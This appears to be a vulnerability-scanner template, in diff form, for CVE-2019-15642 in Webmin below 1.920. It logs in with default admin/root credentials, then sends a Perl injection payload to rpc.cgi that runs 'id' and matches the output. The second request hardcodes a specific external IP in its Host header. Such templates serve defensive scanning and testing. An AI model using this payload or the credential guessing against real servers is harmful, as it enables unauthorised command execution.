Webmin < 1.920 - Authenticated Remote Code Execution

http/cves/2019/CVE-2019-15642.yaml

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+id: cve-2019-15642
+
+info:
+  name: Webmin < 1.920 - Authenticated Remote Code Execution
+  author: pussycat0x
+  severity: high
+  description: |
+    rpc.cgi in Webmin through 1.920 allows authenticated Remote Code Execution via a crafted object name because unserialise_variable makes an eval call. NOTE: the Webmin_Servers_Index documentation states "RPC can be used to run any command or modify any file on a server, which is why access to it must not be granted to un-trusted Webmin users."
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-15642
+    - https://github.com/jas502n/CVE-2019-15642
+  metadata:
+    max-request: 2
+    verified: true
+    shodan-query: title:"Webmin"
+  tags: cve,cve2019,webmin,rce
+
+variables:
+  cmd: '`id`'
+
+http:
+  - raw:
+      - |
+        POST /session_login.cgi HTTP/1.1
+        Host: {{Hostname}}
+        Cookie: redirect=1; testing=1
+        Origin: {{BaseURL}}
+        Content-Type: application/x-www-form-urlencoded
+        Referer: https://157.245.99.85:10000/
+        Accept-Encoding: gzip, deflate
+
+        user={{username}}&pass={{password}}
+
+      - |
+        POST /rpc.cgi HTTP/1.1
+        Host: 157.245.99.85:20000
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+        Referer: https://157.245.99.85:20000/sysinfo.cgi?xnavigation=1
+        Accept-Encoding: gzip, deflate
+
+        OBJECT Socket;print "Content-Type: text/plain\n\n";$cmd={{cmd}};print "$cmd\n\n";
+
+    attack: pitchfork
+    payloads:
+      username:
+        - admin
+        - root
+      password:
+        - admin
+        - root
+
+    host-redirects: true
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: regex
+        part: body_2
+        regex:
+          - 'uid=(\d+)\(.*?\) gid=(\d+)\(.*?\) groups=(\d+)\(.*?\)'
+
+      - type: word
+        part: body
+        words:
+          - "Content-type: text/plain"
+
+      - type: status
+        status:
+          - 200